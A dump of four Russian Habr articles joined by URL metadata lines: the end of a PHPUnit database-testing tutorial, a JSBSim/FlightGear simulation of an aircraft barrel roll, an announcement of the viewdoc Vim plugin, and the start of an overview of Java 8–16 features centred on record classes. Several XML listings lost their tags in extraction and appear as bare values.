> `1. **xml</b** version="1.0" encoding="UTF-8" **?>**
> 2. ****>****
>
> -
>
> - id="1"
>
> - name="Nalabal"
>
> - surname="Nadjava"**/>**
>
> - ****>****`
>
>
Теперь внимание тест кейс:
> `1. require\_once 'PHPUnit/Extensions/Database/TestCase.php';
> 2. require\_once 'PHPUnit/Framework.php';
> 3. **class** PersonTest **extends** PHPUnit\_Extensions\_Database\_TestCase
> 4. {
> 5. **public** **function** \_\_construct()
> 6. {
> 7. $this->connection = **new** PDO('sqlite::memory:');
> 8. $this->connection->query("
> 9. CREATE TABLE person (
> 10. id INTEGER PRIMARY KEY AUTOINCREMENT,
> 11. name VARCHAR(255),
> 12. surname VARCHAR(255)
> 13. );
> 14. ");
> 15.
> 16. }
> 17. protected **function** getConnection()
> 18. {
> 19. return $this->createDefaultDBConnection($this->connection, 'sqlite');
> 20. }
> 21.
> 22. protected **function** getDataSet()
> 23. {
> 24. return $this->createFlatXMLDataSet(dirname(**\_\_FILE\_\_**).'/persons.xml');
> 25. }
> 26. }`
>
>
Очевидно — тест ничего не тестирует, но что то там мы уже понакодили:
Он унаследован от PHPUnit\_Extensions\_Database\_TestCase в котором уже реализованы некоторые методы, в том числе setUp (очищает базу и заполняет ее вновь) и tearDown — который делает тоже самое. В [доке по PHPUnit](http://www.phpunit.de/manual/3.3/en/index.html "PHPUnit Manual") более детально расписано, то как эти методы взаимодействуют с тестовыми методами. В конструкторе для простоты я создаю вышеуказанную табличку и в inmemory базе данных. После я переопределяю два абстрактных метода Database\_TestCase. Первый возвращает объект соединения с базой, а второй объект созданный из нашей xml-фикстуры. Эти методы используются в определенных в Database\_TestCase setUp и tearDown методах.
Теперь проверим, добавив новый метод
> `1. **public** **function** testPerson ()
> 2. {
> 3. $sql = "SELECT \* FROM person";
> 4. $statement =
> 5. $this->getConnection()->getConnection()->query($sql);
> 6. $result = $statement->fetchAll();
> 7. $this->assertEquals(1, sizeof($result));
> 8. $this->assertEquals('Nalabal', $result[00]['name']);
> 9. }`
>
>
Результат: OK (1 test, 2 assertions)
В методе выбираем все записи из таблицы persons и проверяем выборку на соответствие нашей фикстуре
Мне в конкретном случае понадобилось добавлять некоторые данные во время выполнения конкретного тестового метода, не найдя ничего в [доке](http://www.phpunit.de/manual/3.3/en/database.html "Chapter 9. Database Testing") я поковырялся слегонь в коде и пришел к следующему решению:
Добавляем новую фикстуру additionalPersons.xml
> `1. **xml</b** version="1.0" encoding="UTF-8" **?>**
> 2. ****>****
>
> -
>
> - id="2"
>
> - name="Nageneril"
>
> - surname="Mudrapragram"**/>**
>
> -
>
> - id="3"
>
> - name="Strudomprassal"
>
> - surname="Vashapragram"**/>**
>
> - ****>****`
>
>
И пишем такой тестовый метод:
> `1. **public** **function** testAdditionalPerson ()
> 2. {
> 3. $insertOperation = PHPUnit\_Extensions\_Database\_Operation\_Factory::INSERT();
> 4. $insertOperation->execute($this->getConnection(), $this->createFlatXMLDataSet(dirname(**\_\_FILE\_\_**).'/additionalPersons.xml'));
> 5. $sql = "SELECT \* FROM person";
> 6. $statement = $this->getConnection()->getConnection()->query($sql);
> 7. $result = $statement->fetchAll();
> 8. $this->assertEquals(3, sizeof($result));
> 9. $this->assertEquals('Nalabal', $result[00]['name']);
> 10. $this->assertEquals('Nageneril', $result[1]['name']);
> 11. $this->assertEquals('Strudomprassal', $result[2]['name']);
> 12. }`
>
>
В 3й строке создаем с помощью Operation\_Factory (вопрос с Операциями в [официальной доке](http://www.phpunit.de/manual/3.3/en/database.html "Chapter 9. Database Testing") пока еще не описан) объект вставки который реализовывает интерфейс PHPUnit\_Extensions\_Database\_Operation\_IDatabaseOperation у которого есть только один метод имеющий следующую сигнатуру:
> `1. **public** **function** execute(PHPUnit\_Extensions\_Database\_DB\_IDatabaseConnection $connection, PHPUnit\_Extensions\_Database\_DataSet\_IDataSet $dataSet);`
>
>
Его то мы и вызываем в 4й строке предыдущего листинга, а он в свою очередь дополняет нашу первоначальную фикстуру из persons.xml данными из additionalPersons.xml
Результатом запуска будет: OK (2 tests, 6 assertions)
### Заключение
Вероятно что в жизни все не так сложно как в этом примере. Потому прошу не поддавать искусственность описываемого критике.
По мере развития ситуации мне хотелось бы посвящать Вас во все допустимые детали как возможность запомнить все раскопанное и неописанное в документации.
Конечно же, только при условии, что это кому-нибудь нужно(это я в скором времени пойму). | https://habr.com/ru/post/61710/ | null | ru | null |
# Пилотажный ДПЛА. Как правильно сделать бочку
Что общего у истребителя с тарой для хранения жидкости и машиной Голдберга? Казалось бы только то, что самолет и бочка могут оказаться частями бесполезного, но завораживающего механизма, ан нет. Фигура пилотажа бочка объединяет все эти вещи и не только.
Выполнение бочки никак не помогает гражданскому самолету довезти своих пассажиров до места назначения или истребителю в бою, но требует, при правильном выполнении, задействовать все органы управления самолетом: элероны, руль высоты и руль направления.
В данной публикации изложено описание процесса поворота самолета на 360 градусов вокруг продольной оси без снижения с точки зрения такой науки, как динамика полета, и приведено описание того, как можно заставить ваш самолет сделать бочку правильно.
Введение
--------
После завершения активной фазы очередного проекта у меня с коллегой по беспилотной деятельности возник вопрос, чем заняться пока новые проекты не заняли все свободное время. В ответ на вопрос, заданный пустоте, мы получили очень конкретный ответ «сделай бочку ([do a barrel roll](http://www.urbandictionary.com/define.php?term=Do%20a%20barrel%20roll))». И правда: бочка это машина Голдберга в авиации, одновременно сложная, практически (в воздушном бою) бесполезная и приносящая исключительно эстетическое удовольствие фигура пилотажа. Так почему бы не научить авиамодель делать бочку в автоматическом режиме, даже [Google](https://www.google.ru/search?q=do+a+barrel+roll&oq=do+a+barrel+roll&aqs=chrome..69i57j0l5.1728j0j7&sourceid=chrome&ie=UTF-8) её делает.
Прежде чем начать практическую реализацию мы решили изучить это процесс с привлечением компьютерных моделей, и вот что из этого получилось.
Немного теории
--------------
Для начала немного о том, почему самолеты летают и о том, как положение самолета описывается относительно поля тяготения. Самолет держит в воздухе подъемная сила, назовем ее Y, которая создается на крыле, но вот какая штука, эта сила появляется только при обдуве крыла набегающим потоком воздуха, соответственно, нужно самолет разогнать. Можно, конечно «разбежавшись прыгнуть со скалы», потратить часть потенциальной энергии поля тяготения земли на разгон и даже зависнуть на мгновенье, но неразрывно с подъемной силой возникает аэродинамическое сопротивление, назовем эту силу X, которое будет самолет тормозить, и подъемная сила будет падать, а вместе с ней и мы. Падать мы будем под действием силы тяжести G. Для противодействия силе сопротивления у всех нормальных самолетов есть двигатель, он создает силу тяги P, которую можно использовать для преодоления силы сопротивления. Простейшая кинематическая модель самолета описывает его движение как перемещение материальной точки в поле тяготения земли. В горизонтальном полете с постоянной скоростью сила тяжести уравновешена подъемной силой крыла Y = G, а сила сопротивления — тягой двигателя X = P.
Если посмотреть на материальную точку под микроскопом, она превратится в материальное тело. Оно и к лучшему: мы можем разглядеть у самолета фюзеляж, крыло, хвостовое оперение, которое состоит из горизонтального стабилизатора и вертикального киля. На левой и правой консолях крыла расположены элероны, на горизонтальном хвостовом оперении — руль высоты, на вертикальном — руль направления. Если всем этим усиленно вертеть, аппарат начнет маневрировать, и задача сделать бочку сведется к тому, по какому закону изменять положение органов управления для достижения необходимой траектории движения аппарата в пространстве и относительно его собственных осей.
**Описание систем координат, используемых при описании движения летательных аппаратов.**В российской/советской традиции система координат (СК), жестко связанная с летательным аппаратом, вводится следующим образом. Ось х направляется продольно в плоскости симметрии самолета, от хвоста к носу. Перпендикулярно этой оси по направлению вверх вводится ось y. Эти две оси дополняются до правой тройки векторов осью z. Получается, что ось z пройдёт вдоль правого крыла.
Движение аппарата в пространстве невозможно описать только при помощи связанной с самолетом системой координат, ведь нам интересно положение аппарата относительно земли. Для этого вводится система координат, которая называется «местная земная система координат». Ось X этой системы находится в горизонтальной плоскости и направлена на географический север. Oсь Y направлена вертикально вверх. Ось Z дополняет их до правой тройки векторов. Расположение связанной системы координат относительно местной земной системы определяется углами крена, тангажа и рыскания. Угол между продольной осью самолета (в нашем случае ось x связанной СК) и горизонтальной плоскостью XZ называется углом тангажа, он изменяется при отклонении руля высоты. Угол между осью z связанной СК и осью Z местной земной СК, повёрнутой так, что угол рыскания равен нулю, называется углом крена, он изменяется при отклонении элеронов. Угол между осью X местной земной СК и проекцией оси x связанной СК на горизонтальную плоскость XZ называется углом рыскания, отсчитывается против часовой стрелки от оси X местной земной СК. Такой формализации нам должно быть достаточно для описания движения самолета при выполнении бочки, и пусть, мы не воспользуемся далее буквенными обозначениями осей, всегда полезно повторить основы.
Инструментарий
--------------
Для моделирования движения аппарата мы используем инструментарий, который предоставляет программа для моделирования динамики летательных аппаратов с открытым исходным кодом **JSBSim**. Вывод графиков доверим **gnuplot**, а визуализацию маневров самолета **FlightGear**. В качестве базовой динамической модели возьмем истребитель **North American P-51 Mustang**: его маневренности будет достаточно для выполнения бочки. Для визуализации будем использовать менее агрессивный, спортивный самолет **ЯК-53**.
**Описание процесса настройки программы и вывода результатов.**Все файлы, необходимые для запуска скриптов, находятся в Github [репозитории](https://github.com/Pakila/FlightTests). Для повторения действий, приведенных в статье, нам понадобится установить **JSBSim**, **FlightGear** и **gnuplot**. Все действия буду приведены для операционной системы Windows. За основу взята инструкция [отсюда](http://www.holycows.net/JSBSim_Script_Tutorial.pdf). Скачиваем и устанавливаем последнюю версию **FlightGear** с [www.flightgear.org](http://www.flightgear.org/) и **gnuplot** с [www.gnuplot.info](http://www.gnuplot.info/). Собираем **JSBSim** по [инструкции](http://jsbsim.sourceforge.net/Building_JSBSim_with_Visual_Cpp.pdf). После этого ищем два необходимых нам каталога. Корневые каталоги **JSBSim\** и **FlightGear\**. В каталоге **FlightGear\data\Aircraft** находятся папки с моделями самолетов: туда нужно скопировать модель, которая будет использоваться для визуализации. Я использую модель **Як-53**, которую нашел на просторах Интернета. Другие модели можно найти [здесь](http://wiki.flightgear.org/Table_of_models). В каталоге **FlightGear\bin** находится основной исполняемый файл симулятора **fgfs**. Для визуализации динамики будем использовать строку запуска
```
fgfs --native-fdm=socket,in,60,,5500,tcp --fdm=external --timeofday=noon --aircraft=Yak-53 --disable-sound --disable-real-weather-fetch --disable-clouds3d --disable-clouds
```
В этой строке первые параметры указывают внешний источник данных о динамике самолета при запуске симулятора. Параметр **aircraft** задает требуемую модель аппарата. Остальные параметры не обязательны, их значения можно найти [здесь](http://wiki.flightgear.org/Command_line_options). Полезные сочетания клавиш:
**«V»**-изменить вид модели
**Shift+Esc** – перезапуск FlightGear с сохранением параметров командной строки
**Ctrl+«R»** — запуск записи полета для повторения того, что получилось.
Вот собственно и все, что нам понадобится в симуляторе **FlightGear**. Вернемся к программе моделирования динамики **JSBSim**. В каталоге **JSBSim\aircraft** находятся динамические модели самолетов. В каталоге **JSBSim\engine** находятся динамические модели двигателей и винтов. Динамические модели самолетов хранятся в отдельных каталогах в файлах вида **name\*.xml**. В конце каждого файла есть секция, отвечающая за вид выходных данных при моделировании. Если мы хотим, чтобы вывод был в виде, подходящем для визуализации во **FlightGear**, то она должна выглядеть так:
Если же мы хотим сохранять данные в файл, то так:
```
velocities/vc-kts
aero/alphadot-deg\_sec
aero/betadot-deg\_sec
fcs/throttle-cmd-norm
OFF
OFF
OFF
ON
ON
ON
OFF
OFF
ON
OFF
OFF
ON
OFF
```
Запускать процесс моделирования удобно при помощи пакетного файла, расположенного в корневой папке **JSBSim\**, строкой
```
JSBtest.bat *имя_скрипта
```
с содержанием
```
rem Remove the old result file
del /Q aircraft\p51d\Results\%1.csv
rem Run the test
Debug\JSBSim --script=aircraft\p51d\scripts\%1.xml --outputlogfile=aircraft\p51d\Results\%1.csv>JSBSim.out --realtime
rem Generate gnuplot to the screen
gnuplot aircraft\p51d\plots\%1.p
```
Данный файл удаляет предыдущие результаты моделирования, запускает скрипт, расположенный по адресу **\JSBSim\aircraft\p51d\scripts\**, а затем запускает отрисовку полученных данных при помощи gnuplot. Параметр **realtime** необходимо указывать в случае, когда данные из **JSBSim** хочется получать в режиме реального времени, например, при визуализации во **FlightGear**.
Посмотрим на содержание файла скрипта:
```
xml version="1.0" encoding="utf-8"?
sim-time-sec ge 0.0
sim-time-sec ge 0.5
sim-time-sec ge 2.95
```
Для правильного запуска в третьей строке указывается модель самолета, который будет смоделирован, и путь к инициализационному файлу с содержанием
```
xml version="1.0" encoding="utf-8"?
-1
325.0
210.0
42.3769
-70.9993
```
Осталось только рассмотреть содержание файла для построения графиков через **gnuplot**:
```
set autoscale # scale axes automatically
unset log # remove any log-scaling
unset label # remove any previous labels
set xtic auto # set xtics automatically
set ytic auto # set ytics automatically
set tics font "Arial, 16"
set key font "Arial, 16"
set xlabel font "Arial, 16"
set ylabel font "Arial, 16"
# If you have graphical capabilities, you can plot on your screen
# if none of the other terminals is specificed.
# This is how to output the plot in PostScript format
#set terminal postscript portrait enhanced color lw 1 "Helvetica" 14 size 8.5,11
# This is how to output the plot in PNG format
#set terminal png size 1280,960
#set output "aircraft/p51d/results/plot.png"
# This is how to output the plot in PDF format. (Not available on Mac)
#set terminal pdfcairo color size 8.5,11
#set output " aircraft/p51d/results/plot.pdf"
set multiplot title ""
set size 1,0.30
set lmargin 10
set xrange [0:4]
set ytic auto
set origin 0.0,0.00
set xlabel "Время,с"
set ylabel "Высота, м"
plot \
"aircraft/p51d/results/trim-cruisep51d.csv" using 1:($43*0.3048) title "" with lines\
set origin 0.0,0.33
set ylabel "Угол тангажа, °"
set xlabel ""
plot \
"aircraft/p51d/results/trim-cruisep51d.csv" using 1:33 title "" with lines\
set origin 0.0,0.66
set ylabel "Угол крена, °"
set xlabel ""
set yrange [-180:180]
set ytics 60
plot \
\
"aircraft/p51d/results/trim-cruisep51d.csv" using 1:32 title "" with lines\
unset multiplot # exit multiplot mode
pause -1 "Press ENTER to continue"
```
Данный файл формирует и выводит изображение на экран трех графиков: угла крена, тангажа и высоты от времени. Данные для построения берутся из файла **\*имя\_скрипта.csv**. Попутно, имперские единицы переводятся в привычные нам, метрические. Можно изменить файл для вывода в форматах **PostScript**, **PNG** или **PDF**, раскомментировав соответствующие строки.
Вот, в общем-то, и весь процесс подготовки инструментов для самостоятельного моделирования и отображения движения самолета.
Моделирование и результаты
--------------------------
Если вообразить «сферический», а точнее идеальный самолет, у которого оси связанной системы координат совпадают с главными осями эллипсоида инерции и органы управления создают моменты каждый относительно только одной из осей, можно на качественном уровне понять, как аппарат будет двигаться при отклонении органов управления. Допустим, самолет летит в горизонтальном полете; отклоняя элероны в противоположные стороны, мы изменяем величину подъемной силы на консолях крыла, что приводит к возникновению момента сил относительно оси x, и аппарат начнет вращаться вокруг этой оси. Для выполнения бочки это как раз, то что нам нужно. Составляем скрипт, в котором элероны максимально отклонены в течение 2.45 секунд, а затем возвращаются в исходное положение:
**Содержание скрипта.**
```
xml version="1.0" encoding="utf-8"?
sim-time-sec ge 0.0
sim-time-sec ge 0.5
sim-time-sec ge 2.95
```
Результаты моделирования приведены на графике:
Видно, что самолет повернулся на 360 градусов по крену, однако, сделал этот маневр со снижением в 40 метров и наклонил нос на 14 градусов — это пример совсем не годной бочки.
И правда, если вспомнить, что самолет издалека это материальная точка, то при вращении проекция подъемной силы на направление силы тяжести уменьшается и самолет начинает снижение, а нам этого совсем не нужно, ведь мы хотим выполнить красивую бочку без снижения. Для этого, до того, как мы начали отклонять элероны, нужно создать запас вертикальной скорости. Берем штурвал на себя — отклоняется руль высоты — возникает момент силы относительно оси z. Нос самолета поднимается, и мы начинаем набирать высоту — в этот момент пора начинать вращение. Добавляем в скрипт отклонение руля высоты на 40 процентов за 0.4 секунды до начала отклонения элеронов и возвращаем его в нейтральное положение. За 0.2 секунды до окончания вращения берем штурвал полностью на себя, чтобы устранить опускание носа самолета:
**Содержание скрипта.**
```
xml version="1.0" encoding="utf-8"?
sim-time-sec ge 0.0
sim-time-sec ge 0.1
sim-time-sec ge 0.5
sim-time-sec ge 2.75
sim-time-sec ge 2.95
```
Смотрим, что получилось:
Вот она — вполне приличная, быстрая бочка. Если бы мы вернули руль высоты в нейтральное положение немного позже, аппарат набрал бы небольшую высоту и после отклонения элеронов пошел бы в разворот. Комбинация «штурвал на себя» и «отклонение элеронов» приводит к тому, что подъемная сила крыла при наклоне аппарата начинает действовать по нормали к текущей траектории аппарата и искривляет её тем сильнее, чем более отклонен руль высоты. Можете попробовать сами и убедиться в этом.
Предыдущая бочка была выполнена без снижения, угол тангажа на выходе из бочки не сильно отличался от исходного. Однако, высота в процессе выполнения изменялась на 12 метров. Попробуем более активно применить органы управления, чтобы минимизировать заброс по высоте в процессе выполнения фигуры. Чтобы не вертеть органами управления самолетом абы как, заглянем в [Википедию](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D1%87%D0%BA%D0%B0_(%D0%B2%D1%8B%D1%81%D1%88%D0%B8%D0%B9_%D0%BF%D0%B8%D0%BB%D0%BE%D1%82%D0%B0%D0%B6)) и посмотрим, как нам рекомендуют делать бочку. Основная мысль выполнения идеальной бочки состоит в том, что нужно сохранить продольную ось самолета в горизонтальной плоскости. Для этого попеременно используются руль высоты и руль направления. В начале бочки, как обычно, мы используем руль высоты, чтобы набрать вертикальную скорость. Отклоняем элероны – начинаем вращение. Когда самолет поворачивается вокруг продольной оси руль высоты и руль направления меняются местами. По достижению величины угла крена около 90 градусов отклонение руля направления приведет к поднятию или опусканию носа самолета в вертикальной плоскости. В связи с этим, отклоняем руль направления так, чтобы предотвратить опускание носа. Далее, когда угол крена достигает 180 градусов, нужно отклонить руль направления от себя чтобы в перевернутом полете удержать нос самолета в горизонтальной плоскости. При дальнейшем повороте повторяем отклонения руля направления с противоположным знаком при угле крена вблизи – 90 градусов и завершаем бочку небольшим отклонением руля высоты «на себя». Все эти этапы выражены в скрипте, приведенном ниже:
**Содержание скрипта.**
```
xml version="1.0" encoding="utf-8"?
sim-time-sec ge 0.0
sim-time-sec ge 0.0
sim-time-sec ge 0.5
sim-time-sec ge 0.6
sim-time-sec ge 1.4
sim-time-sec ge 1.6
sim-time-sec ge 1.65
sim-time-sec ge 2.35
sim-time-sec ge 2.6
sim-time-sec ge 2.8
sim-time-sec ge 2.75
sim-time-sec ge 2.95
sim-time-sec ge 3.0
```
Запускаем и смотрим, что получилось:
По крену аппарат повернулся на 180 градусов, при этом общий размах изменения высоты составил около 2.5 м — это в пять раз меньше, чем в предыдущем случае. Можно сказать, у нас получилась почти идеальная бочка.
Вместо заключения
-----------------
Итак, мы рассмотрели некоторые принципы выполнения фигуры высшего пилотажа бочка и убедились, что, действуя разумно, мы можем на симуляторе выполнить неплохую по качеству бочку. Хорошо бы перейти к практике, и вот с помощью чего мы предполагаем это сделать — авиамодель + stm32f103 + mpu9250. Все эти элементы легко доступны и дешевы, так что любой желающий сможет попробовать сделать это сам. Результаты проб, ошибок и инструкция для повторения — тема следующих публикаций. | https://habr.com/ru/post/407111/ | null | ru | null |
# viewdoc — удобный доступ к любой документации
Для просмотра разной внешней документации (man/perldoc/pydoc/etc.) в Vim есть множество плагинов и рецептов. Проблема в том, что одни не настраиваются на открытие окон с документацией удобным мне способом, другие не расширяются для поддержки новых источников документации, третьи глючат и написаны слишком криво чтобы их можно было относительно просто пофиксить и выслать патч автору. На днях меня эта ситуация окончательно достала, и я написал плагин viewdoc, решающий все эти проблемы.
Он прост внутри и удобен в использовании, предоставляет [единый пользовательский интерфейс](https://en.wikipedia.org/wiki/User_interface#Consistency) для работы с любой документацией (включая встренный `:help`), умеет определять требуемую документацию по контексту, гибко настраивается, и очень просто расширяется (внешними плагинами или прямо в ~/.vimrc) для добавления новых источников документации. Основной недостаток — тестировался только в linux, может работать в других \*nix, точно не будет работать в винде.
1. Вы можете настроить свои кнопки/команды для доступа к документации. По умолчанию viewdoc заменит стандартные `K` и `:help` плюс добавит и команды `:man`, `:doc`, `:perldoc`.
2. Вы можете настроить где (буфер/окно/таб) будет открываться документация. Новая документация может открываться либо в уже существующем окне с документацией (`K`) либо каждый раз в новом окне (). Поддерживаются все возможные стили работы с окнами:
* полноэкранный (без табов, одно окно, дополнительные файлы/документация открываются в hidden буферах);
* оконный (без табов, много окон с дополнительными файлами/документацией);
* полноэкранный с табами (много табов, в каждом одно окно, дополнительные файлы/документация открываются в новых табах);
* с табами (много табов, много окон внутри табов, дополнительные файлы/документация открываются где попало :)).
3. Все виды документации (включая встроенный `:help`) выводятся одним и тем же способом.
4. Все виды документации (а не только `:help`) теперь поддерживают внутреннюю навигацию а-ля тэги ( и плюс альтернативные и ).
5. Даже закрывание буфера/окна/таба с документацией стало проще (`q`) и умнее (опциональный переход к предыдущему табу вместо следующего и выход из Vim при закрытии последнего буфера)! :)
6. При неоднозначном толковании умеет определять требуемую документацию по контексту (используя название подсветки синтаксиса для текущего слова и окружающие его символы).
* Пример 1: при редактировании ~/.vimrc нажали на слове «highlight» — нужно показать документацию на опцию "&highlight" или команду ":highglight"?
* Пример 2: при редактировании perl-скрипта нажали на "$\_[2]" — будет показана документация на переменную "@\_".
7. Для команд `:man` и `:perldoc` реализовано полноценное автодополнение, не хуже чем по умолчанию работает для `:help`.
8. Поддерживаемые «из коробки» виды документации:
* встроенная документация Vim
* дополнительная документация написанная в формате Vim-овского help (например: [CSS2.1](http://www.vim.org/scripts/script.php?script_id=918))
* man
* perldoc
* pydoc
9. Поддержка новых видов документации легко добавляется пользователем без необходимости модифицировать код плагина.
10. Можно определить несколько источников документации для одного типа файлов (напр. локальная и выкачиваемая из инета) и легко между ними переключаться.
11. Может быть использован для вывода man-страниц прямо из консоли.
12. Совместим с pathogen и неплохо документирован.
[Скачать](http://www.vim.org/scripts/script.php?script_id=3893). [Исходники и багтрекер](https://code.google.com/p/vim-plugin-viewdoc/). | https://habr.com/ru/post/136665/ | null | ru | null |
# Новые функции языка, начиная с Java 8 до 16
#### Улучшения языка Java, которые вам следует знать
Последнее обновление **30.03.2021**, включающее изменения до **JDK 16**.
Когда в Java 8 были представлены Streams и Lambdas, это было большим изменением, позволившим использовать функциональный стиль программирования с гораздо меньшим количеством шаблонного кода.
С тех пор Java перешла на более быструю периодичность выпусков, благодаря чему новая версия Java будет появляться каждые шесть месяцев. Эти версии постоянно добавляют в язык новые функции.
Усовершенствования языка после Java 8
-------------------------------------
### Java 16
* Классы записей (Record)
* Сопоставление с образцом для instanceof
### Java 15
* Текстовые блоки
* Полезные исключения NullPointerExceptions
### Java 14
* Switch выражения
### Java 11
* Вывод типа локальной переменной
### Java 9
* Разрешены private методы в интерфейсах
* Оператор Diamond для анонимных внутренних классов
* Разрешено использовать final переменные в качестве ресурсов в операторах try-with-resources
* Подчеркивание больше не является допустимым в имени идентификатора
* Улучшенные предупреждения
### Что дальше: Превью функции в Java 16
* Запечатанные (Sealed) классы
Детальный обзор всех JEP, формирующих новую платформу, включая API, улучшения производительности и безопасности, представлен в тщательно сформированном [**списке новых функций языка начиная с Java 8**](https://advancedweb.hu/a-categorized-list-of-all-java-and-jvm-features-since-jdk-8-to-16/).
Классы записей (Record)
-----------------------
**Доступно с:**[**JDK 16**](https://openjdk.java.net/jeps/395) (предварительная [**версия**](https://openjdk.java.net/jeps/359) в [**JDK 14**](https://openjdk.java.net/jeps/359)[**JDK 15**](https://openjdk.java.net/jeps/384) )
Классы записей вводят в язык декларации нового типа для определения неизменяемых классов данных. Вместо обычной церемонии с private полями, геттерами и конструкторами это позволяет нам использовать **компактный синтаксис**:
```
public record Point(int x, int y) { }
```
Приведенный выше класс записи **очень похож на обычный класс**, который определяет следующее:
* два `private` `final` поля, `int x` и `int y`
* конструктор, который принимает `x` и `y` в качестве параметров
* методы `x()` и `y()`, которые работают как геттеры для полей
* `hashCode`, `equals` и `toString`, каждый из которых принимает в качестве параметров `x` и `y`
Их можно использовать так же, как обычные классы:
```
var point = new Point(1, 2);
point.x(); // возвращает 1
point.y(); // возвращает 2
```
Класс записи предназначен для прозрачного хранения своих **неизменяемых данных**. Для реализации этой концепции у класса записи ряд **ограничений**.
Поля класса записи являются не только `final` по умолчанию, но также невозможно в классе записи иметь какие-либо поля, не являющиеся `final`.
**Заголовок определения должен определять все возможные состояния**. В теле класса записи не может быть дополнительных полей. Более того, хотя можно определить дополнительные конструкторы для предоставления значений по умолчанию для некоторых полей, невозможно скрыть канонический конструктор, который принимает все поля записи в качестве аргументов.
Наконец, классы записи **не могут расширять другие классы**, они **не могут объявлять собственные методы**, они неявно являются **final** и не могут быть **abstract**.
*Передача данных* в запись возможна только через ее конструктор. По умолчанию класс записи имеет только неявный *канонический конструктор*. Если данные необходимо проверить или нормализовать, канонический конструктор также может быть определен явно:
```
public record Point(int x, int y) {
public Point {
if (x < 0) {
throw new IllegalArgumentException("x не может быть отрицательным");
}
if (y < 0) {
y = 0;
}
}
}
```
Неявный *канонический конструктор* имеет такую же видимость, как и сам класс записи. Если он явно объявлен, его модификатор доступа должен быть по крайней мере таким же, как и модификатор доступа класса записи.
Также можно определить дополнительные конструкторы, но они должны делегировать другим конструкторам. В конце концов, всегда будет вызываться *канонический конструктор*. Эти дополнительные конструкторы могут быть полезны для предоставления значений по умолчанию:
```
public record Point(int x, int y) {
public Point(int x) {
this(x, 0);
}
}
```
*Получить данные* из записи можно с помощью ее методов доступа. Для каждого поля x классы записи имеют сгенерированный общедоступный метод получения в форме `x()`.
Эти геттеры также могут быть определены явно:
```
public record Point(int x, int y) {
static Point zero() {
return new Point(0, 0);
}
boolean isZero() {
return x == 0 && y == 0;
}
}
```
Подводя итог: **классы записи предназначены только для данных, которые они хранят,** не предоставляя слишком много параметров настройки.
Благодаря этой особой конструкции **сериализация для записей намного проще** и безопаснее, чем [для обычных классов](http://cr.openjdk.java.net/~briangoetz/amber/serialization.html). Как написано в JEP:
> Экземпляры классов записей можно сериализовать и десериализовать. Однако процесс нельзя настроить, предоставив методы writeObject, readObject, readObjectNoData, writeExternal или readExternal. Компоненты класса записи управляют сериализацией, в то время как канонический конструктор класса записи управляет десериализацией.
>
>
Поскольку сериализация основана именно на состоянии поля, а десериализация всегда вызывает канонический конструктор, невозможно создать запись с недопустимым состоянием.
С точки зрения пользователя включение и использование сериализации может быть выполнено как обычно:
```
public record Point(int x, int y) implements Serializable { }
public static void recordSerializationExample() throws Exception {
Point point = new Point(1, 2);
// Serialize
var oos = new ObjectOutputStream(new FileOutputStream("tmp"));
oos.writeObject(point);
// Deserialize
var ois = new ObjectInputStream(new FileInputStream("tmp"));
Point deserialized = (Point) ois.readObject();
}
```
Обратите внимание, что больше не требуется определять a `serialVersionUID`, поскольку требование сопоставления `serialVersionUID`значений отменяется для классов записи.
Ресурсы:
* [Подкаст Inside Java, эпизод 4: «Record Classes» с Гэвином Бирманом](https://inside.java/2020/10/05/podcast-004/)
* [Подкаст Inside Java, эпизод 14: «Records Serialization» с Джулией Боус и Крисом Хегарти](https://inside.java/2021/03/08/podcast-014/)
* [Towards Better Serialization - Брайан Гетц, июнь 2019 г.](http://cr.openjdk.java.net/~briangoetz/amber/serialization.html)
* [Record Serialization](https://docs.oracle.com/en/java/javase/16/docs/specs/records-serialization.html)
#### ️ ️ Совет: используйте локальные записи для моделирования промежуточных преобразований.
Сложные преобразования данных требуют от нас моделирования промежуточных значений. До Java 16 типичным решением было полагаться на `Pair` или аналогичные библиотечные классы-хранители или определять свой собственный (возможно, внутренний статический) класс для хранения этих данных.
Проблема в том, что первый довольно часто оказывается негибким, а второй загрязняет пространство имен, вводя классы, используемые только в контексте одного метода. Также возможно определять классы внутри тела метода, но из-за их подробного характера это редко подходило.
В Java 16 это улучшено и **теперь также можно определять локальные записи** в теле метода:
```
public List findProductsWithMostSaving(List products) {
record ProductWithSaving(Product product, double savingInEur) {}
products.stream()
.map(p -> new ProductWithSaving(p, p.basePriceInEur \* p.discountPercentage))
.sorted((p1, p2) -> Double.compare(p2.savingInEur, p1.savingInEur))
.map(ProductWithSaving::product)
.limit(5)
.collect(Collectors.toList());
}
```
Компактный синтаксис классов записи хорошо сочетается с компактным синтаксисом Streams API.
Помимо записей, это изменение также **позволяет использовать локальные перечисления и даже интерфейсы**.
#### ️ ️Совет: проверьте свои библиотеки
**Классы записи не придерживаются соглашений**[**JavaBeans**](https://www.oracle.com/java/technologies/javase/javabeans-spec.html):
* У них нет конструктора по умолчанию.
* У них нет set методов.
* Методы доступа не соответствуют форме `getX()`.
По этим причинам **некоторые инструменты, которые ориентированы на JavaBeans, могут не полностью работать с записями**.
Одним из таких случаев является то, что **записи нельзя использовать как объекты JPA (например, Hibernate)**. В списке [рассылки jpa-dev обсуждается согласование спецификации с записями Java](https://www.eclipse.org/lists/jpa-dev/msg00056.html), но пока я не нашел новостей о состоянии процесса разработки. Однако стоит отметить, что [**Records можно** **использовать для проекций**](https://thorben-janssen.com/java-records-hibernate-jpa/) без проблем.
Большинство [**других инструментов, которые я проверил**](https://advancedweb.hu/working-with-structured-data-in-java/) (включая [Jackson](https://github.com/FasterXML/jackson), [Apache Commons Lang](https://commons.apache.org/proper/commons-lang/), [JSON-P](https://javaee.github.io/jsonp/) и [Guava](https://github.com/google/guava) ), **поддерживают записи, но, поскольку он довольно новый, есть и некоторые острые углы**. Например, Jackson, популярная библиотека JSON, была одной из [первых, кто](https://github.com/FasterXML/jackson-future-ideas/issues/46) начал [использовать записи](https://github.com/FasterXML/jackson-future-ideas/issues/46). Большинство его функций, включая сериализацию и десериализацию, одинаково хорошо работают для классов записи и JavaBeans, но некоторые [функции для управления объектами еще предстоит адаптировать](https://github.com/FasterXML/jackson-databind/issues/3079).
